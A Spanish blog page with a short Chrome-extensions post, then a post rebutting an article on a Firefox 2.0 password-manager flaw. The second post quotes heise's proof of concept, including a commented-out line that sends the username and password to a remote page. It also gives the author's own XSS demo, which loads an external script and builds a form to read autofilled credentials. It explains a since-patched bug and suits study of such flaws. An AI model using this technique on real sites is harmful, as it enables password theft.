Firefox – Page 2 – Buayacorp

Chrome Extensions Hace ya un tiempo dejé de usar Mozilla Firefox. La razón principal: el excesivo consumo de memoria. Por ahora sólo lo utilizo a veces por la extensión Web Developer.

Me he cambiado a Google Chrome extrañando de vez en cuando las extensiones, especialmente Adblock Plus, sin embargo hoy me di con la sorpresa que Google Chrome ya permite sin trucos, extensiones para Google Chrome desde la versión 4.0.249.30.

Ya podemos ver la lista completa de extensiones para Google Chrome e instalarlas en un click sin cerrar el navegador.

Algunos que sugiero son:

AdThwart o también AdBlock, para bloquear publicidad.
Chromed Bird, un cliente de Twitter para Chrome.
Google Mail checker, su nombre lo dice todo.
Docs PDF/PowerPoint Viewer, Permite ver archivos PDF y Power Point en línea.

Te invito a probar las demás extensiones. ¿Tienes alguna que recomendar?

Actualización: Al parecer Firefox 2.0.0.6 RC1 y RC2 corrigen entre otras cosas, la ejecución remota de programas y esta vulnerabilidad.

A través de menéame, llegué a leer un artículo en el que intentan minimizar el impacto de la vulnerabilidad que permite el robo de contraseñas en Firefox. Haré algunos comentarios citando partes del contenido (negritas agregadas intencionalmente):

Veamos la demostración que nos proponen realizar:
http://www.heise-security.co.uk/services/browsercheck/demos/moz/pass1.shtml

[...]

No hay dudas de que la demostración realiza esto en caso de que hayamos indicado a Firefox que recuerde nuestra contraseña el momento de ingresarla. Sin embargo la demostración se está realizando en el mismo dominio y subdominio. Que sentido tiene esto si estamos en el mismo sitio? Acaso el sitio se roba a su propio sitio?

Para explotar esa vulnerabilidad de Firefox, sólo basta encontrar un bug XSS en cualquier parte de ese dominio (ver demo más abajo).

Ahora veamos el código del formulario de la demostración:

code:

<form method=”get” action=”#” name=”passtest”>
<input type=”text” name=”name”/>
<input type=”password” name=”password”/>
<input type=”submit” value=”submit”/>
</form>

Si vemos el código fuente de la "evil page", vemos un formulario similar con los mismos nombres de campos que el anterior.

Al ingresar los datos en el formulario de la demostración, se verá la siguiente URL tanto en Firefox como en Opera y IE7:

code:

http://www.heise-security.co.uk/services/browsercheck/demos/moz/pass1.shtml?name=miusuario&password=micontrase%F1a#

Para que es necesaria una “evil page” que revele las contraseñas si estas están siendo ya reveladas en la URL? Solo vean la barra de direcciones.

Por otro lado, yo me pregunto: acaso algún sitio serio va a implementar un sistema de contraseñas sin utilizar SSL? Es una locura, además sería responsabilidad del sitio que lo implementa y no del navegador. Ningún sitio en serio implementará contraseñas de ese tipo.

El redactor interpreta mal la prueba de concepto, porque en nigún momento usa la URL para obtener las credenciales, usa el siguiente script:

javascript:

<script>
// setTimeout("dosubmit()", 1000);

setTimeout("doit()", 1000);
function dosubmit()

{

  document.passtest.submit();

}
function doit()

{

   name = document.passtest.name.value;

   password = document.passtest.password.value;

   alert("Your username is: " + name + " and the password is: " + password);

   //document.location = "http://www.heise.de/security/dienste/browsercheck/demos/nc/psteal2.php?name=" + name + "&password=" + password;

}
</script>

Por otro lado, para explotar esta vulnerabilidad dá lo mismo si se usa SSL o no.

También me pregunto: es esta una demostración real o un simple truco? La demo corre en el mismo dominio y mismo subdominio. Si creamos una “evil page” en otro servidor, la demostración no funcionará.

Aparentemente el redactor no captó bien lo que se comenta en la página que describe ese bug o entendí mal sus palabras ~~y no está consciente de los peligros de Cross Site Scripting~~. Preparé un pequeño demo en el que se simula que la página tiene una vulnerabilidad XSS y se hace uso de ésta para mostrar las credenciales almacenadas en Firefox:

php:

<?phpheader('Content-Type: text/html; charset=utf-8;'); ?>

<!DOCTYPE html PUBLIC"-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">

<head>

    <title>Firefox Demo</title> 

</head>
<body>

        <?php

        if ( isset($_GET['evil']) ) :

                /* Página vulnerable a XSS, podría ser cualquier página del dominio 

                   para el que se guardan las credenciales */

                // echo $_GET['evil']; 

                echo '<script src=http://codeout.org/wp-content/uploads/j.js></script>';

        else : ?>

    <form method="post" action="login.php">

            <input type="text" name="usr" />

                <input type="password" name="pass" />

                <input type="submit" name="login" value="Login &raquo;" />

        </form>

        <?php endif; ?>

</body>
</html>

El parámetro evil sirve para emular un bug XSS (por motivos de seguridad no envío ningún valor de evil al navegador), usando este parámetro se podría cargar el siguiente script en una página vulnerable:

javascript:

_c = function(tag, attr){

        el = document.createElement(tag.toUpperCase());
if(attr)for(k in attr) el[k] = attr[k];
return el;
}
// Crear un formulario con los mismos nombres
var form = _c('form');
var user = _c('input', {type:'text', name:'usr'});
var pass = _c('input', {type:'password', name:'pass'});
form.appendChild(user);

form.appendChild(pass);

document.body.appendChild(form);
function showCredentials() {

        alert('Usuario: ' + user.value + ' -- Password:' + pass.value)

}
setTimeout("showCredentials()", 1000);

Esta prueba de concepto fue ejecutada con éxito en Firefox 2.0.0.5 y Windows XP (SP2), para reproducir este error primero tienen que guardar la contraseña para el siguiente formulario, si quieren ver vuestras credenciales almacenadas accedan a http://test.buayacorp.com/login.php?evil o http://test.buayacorp.com/fx.html.

Lo único acertado que veo en el artículo en cuestión, es la recomendación que se hace para establecer en false el valor de signon.prefillForms en la configuración de Firefox (about:config).